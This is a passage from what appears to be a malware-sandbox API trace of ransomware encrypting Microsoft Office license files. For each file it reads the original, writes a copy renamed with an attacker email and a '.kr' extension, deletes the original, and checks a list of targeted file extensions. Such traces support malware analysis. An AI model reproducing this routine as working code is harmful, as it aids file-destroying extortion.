office\\root\\licenses16\\mondor_subtrial-ppd.xrm-ms")) returned 0x220 [0201.112] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0201.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0201.113] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.113] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0201.113] GetLastError () returned 0x0 [0201.113] ReadFile (in: hFile=0x560, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x679d, lpOverlapped=0x0) returned 1 [0201.116] WriteFile (in: hFile=0x3f8, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x67a0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x67a0, lpOverlapped=0x0) returned 1 [0201.117] ReadFile (in: hFile=0x560, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0201.117] WriteFile (in: hFile=0x3f8, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x108, lpOverlapped=0x0) returned 1 [0201.117] SetEndOfFile (hFile=0x3f8) returned 1 [0201.118] CloseHandle (hObject=0x3f8) returned 1 [0201.118] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.118] SetEndOfFile (hFile=0x560) returned 1 [0201.129] CloseHandle (hObject=0x560) returned 1 [0201.129] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0201.130] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ppd.xrm-ms")) returned 1 [0201.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76 [0201.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76 [0201.131] lstrlenW (lpString=".doc") returned 4 [0201.131] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0201.131] lstrlenW (lpString=".docx") returned 5 [0201.131] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0201.131] lstrlenW (lpString=".pdf") returned 4 [0201.131] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0201.131] lstrlenW (lpString=".xls") returned 4 [0201.131] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0201.131] lstrlenW (lpString=".xlsx") returned 5 [0201.131] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0201.131] lstrlenW (lpString=".ppt") returned 4 [0201.131] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0201.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76 [0201.131] lstrlenW (lpString=".zip") returned 4 [0201.131] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0201.131] lstrlenW (lpString=".rar") returned 4 [0201.131] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0201.131] lstrlenW (lpString=".bz2") returned 4 [0201.131] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0201.131] lstrlenW (lpString=".7z") returned 3 [0201.131] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0201.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76 [0201.131] lstrlenW (lpString=".dbf") returned 4 [0201.131] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0201.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76 [0201.131] lstrlenW (lpString=".1cd") returned 4 [0201.131] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0201.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76 [0201.131] lstrlenW (lpString=".jpg") returned 4 [0201.131] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0201.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76 [0201.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76 [0201.132] lstrlenW (lpString=".doc") returned 4 [0201.132] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0201.132] lstrlenW (lpString=".docx") returned 5 [0201.132] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0201.132] lstrlenW (lpString=".pdf") returned 4 [0201.132] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0201.132] lstrlenW (lpString=".xls") returned 4 [0201.132] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0201.132] lstrlenW (lpString=".xlsx") returned 5 [0201.132] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0201.132] lstrlenW (lpString=".ppt") returned 4 [0201.132] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0201.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76 [0201.132] lstrlenW (lpString=".zip") returned 4 [0201.132] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0201.132] lstrlenW (lpString=".rar") returned 4 [0201.132] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0201.132] lstrlenW (lpString=".bz2") returned 4 [0201.132] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0201.132] lstrlenW (lpString=".7z") returned 3 [0201.132] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0201.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76 [0201.132] lstrlenW (lpString=".dbf") returned 4 [0201.132] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0201.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76 [0201.132] lstrlenW (lpString=".1cd") returned 4 [0201.132] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0201.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76 [0201.132] lstrlenW (lpString=".jpg") returned 4 [0201.132] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0201.133] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0201.133] lstrlenW (lpString="MondoR_SubTrial-ul-oob.xrm-ms") returned 29 [0201.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0201.133] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=11596) returned 1 [0201.133] CloseHandle (hObject=0x560) returned 1 [0201.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ul-oob.xrm-ms")) returned 0x220 [0201.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0201.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0201.134] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.134] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0201.135] GetLastError () returned 0x0 [0201.135] ReadFile (in: hFile=0x560, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x2d4c, lpOverlapped=0x0) returned 1 [0201.419] WriteFile (in: hFile=0x3f8, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x2d50, lpOverlapped=0x0) returned 1 [0201.421] ReadFile (in: hFile=0x560, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0201.421] WriteFile (in: hFile=0x3f8, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x10e, lpOverlapped=0x0) returned 1 [0201.421] SetEndOfFile (hFile=0x3f8) returned 1 [0201.519] CloseHandle (hObject=0x3f8) returned 1 [0201.520] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.520] SetEndOfFile (hFile=0x560) returned 1 [0201.523] CloseHandle (hObject=0x560) returned 1 [0201.523] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0201.524] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ul-oob.xrm-ms")) returned 1 [0201.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79 [0201.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79 [0201.525] lstrlenW (lpString=".doc") returned 4 [0201.525] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0201.525] lstrlenW (lpString=".docx") returned 5 [0201.525] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0201.525] lstrlenW (lpString=".pdf") returned 4 [0201.525] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0201.525] lstrlenW (lpString=".xls") returned 4 [0201.525] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0201.525] lstrlenW (lpString=".xlsx") returned 5 [0201.525] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0201.525] lstrlenW (lpString=".ppt") returned 4 [0201.526] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0201.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79 [0201.526] lstrlenW (lpString=".zip") returned 4 [0201.526] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0201.526] lstrlenW (lpString=".rar") returned 4 [0201.526] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0201.526] lstrlenW (lpString=".bz2") returned 4 [0201.526] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0201.526] lstrlenW (lpString=".7z") returned 3 [0201.526] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0201.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79 [0201.526] lstrlenW (lpString=".dbf") returned 4 [0201.526] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0201.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79 [0201.526] lstrlenW (lpString=".1cd") returned 4 [0201.526] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0201.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79 [0201.526] lstrlenW (lpString=".jpg") returned 4 [0201.526] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0201.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79 [0201.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79 [0201.526] lstrlenW (lpString=".doc") returned 4 [0201.526] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0201.526] lstrlenW (lpString=".docx") returned 5 [0201.526] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0201.526] lstrlenW (lpString=".pdf") returned 4 [0201.526] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0201.526] lstrlenW (lpString=".xls") returned 4 [0201.526] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0201.526] lstrlenW (lpString=".xlsx") returned 5 [0201.526] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0201.526] lstrlenW (lpString=".ppt") returned 4 [0201.526] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0201.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79 [0201.527] lstrlenW (lpString=".zip") returned 4 [0201.527] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0201.527] lstrlenW (lpString=".rar") returned 4 [0201.527] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0201.527] lstrlenW (lpString=".bz2") returned 4 [0201.527] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0201.527] lstrlenW (lpString=".7z") returned 3 [0201.527] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0201.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79 [0201.527] lstrlenW (lpString=".dbf") returned 4 [0201.527] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0201.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79 [0201.527] lstrlenW (lpString=".1cd") returned 4 [0201.527] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0201.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned 79 [0201.527] lstrlenW (lpString=".jpg") returned 4 [0201.527] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0201.527] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0201.527] lstrlenW (lpString="MondoVL_KMS_Client-ul.xrm-ms") returned 28 [0201.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0201.528] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=9601) returned 1 [0201.528] CloseHandle (hObject=0x560) returned 1 [0201.528] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul.xrm-ms")) returned 0x220 [0201.528] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0201.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0201.529] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.529] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0201.530] GetLastError () returned 0x0 [0201.530] ReadFile (in: hFile=0x560, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x2581, lpOverlapped=0x0) returned 1 [0201.532] WriteFile (in: hFile=0x3f8, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x2590, lpOverlapped=0x0) returned 1 [0201.533] ReadFile (in: hFile=0x560, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0201.533] WriteFile (in: hFile=0x3f8, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x10c, lpOverlapped=0x0) returned 1 [0201.533] SetEndOfFile (hFile=0x3f8) returned 1 [0201.533] CloseHandle (hObject=0x3f8) returned 1 [0201.533] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.533] SetEndOfFile (hFile=0x560) returned 1 [0201.536] CloseHandle (hObject=0x560) returned 1 [0201.536] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0201.537] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul.xrm-ms")) returned 1 [0201.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78 [0201.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78 [0201.537] lstrlenW (lpString=".doc") returned 4 [0201.537] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0201.537] lstrlenW (lpString=".docx") returned 5 [0201.537] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0201.537] lstrlenW (lpString=".pdf") returned 4 [0201.537] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0201.537] lstrlenW (lpString=".xls") returned 4 [0201.537] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0201.537] lstrlenW (lpString=".xlsx") returned 5 [0201.538] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0201.538] lstrlenW (lpString=".ppt") returned 4 [0201.538] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0201.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78 [0201.538] lstrlenW (lpString=".zip") returned 4 [0201.538] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0201.538] lstrlenW (lpString=".rar") returned 4 [0201.538] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0201.538] lstrlenW (lpString=".bz2") returned 4 [0201.538] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0201.538] lstrlenW (lpString=".7z") returned 3 [0201.538] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0201.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78 [0201.538] lstrlenW (lpString=".dbf") returned 4 [0201.538] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0201.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78 [0201.538] lstrlenW (lpString=".1cd") returned 4 [0201.538] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0201.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78 [0201.538] lstrlenW (lpString=".jpg") returned 4 [0201.538] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0201.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78 [0201.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78 [0201.538] lstrlenW (lpString=".doc") returned 4 [0201.538] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0201.538] lstrlenW (lpString=".docx") returned 5 [0201.538] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0201.538] lstrlenW (lpString=".pdf") returned 4 [0201.538] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0201.538] lstrlenW (lpString=".xls") returned 4 [0201.538] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0201.538] lstrlenW (lpString=".xlsx") returned 5 [0201.538] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0201.539] lstrlenW (lpString=".ppt") returned 4 [0201.539] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0201.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78 [0201.539] lstrlenW (lpString=".zip") returned 4 [0201.539] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0201.539] lstrlenW (lpString=".rar") returned 4 [0201.539] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0201.539] lstrlenW (lpString=".bz2") returned 4 [0201.539] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0201.539] lstrlenW (lpString=".7z") returned 3 [0201.539] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0201.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78 [0201.539] lstrlenW (lpString=".dbf") returned 4 [0201.539] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0201.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78 [0201.539] lstrlenW (lpString=".1cd") returned 4 [0201.539] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0201.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78 [0201.539] lstrlenW (lpString=".jpg") returned 4 [0201.539] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0201.539] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0201.539] lstrlenW (lpString="MondoVL_MAK-pl.xrm-ms") returned 21 [0201.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0201.540] GetFileSizeEx (in: 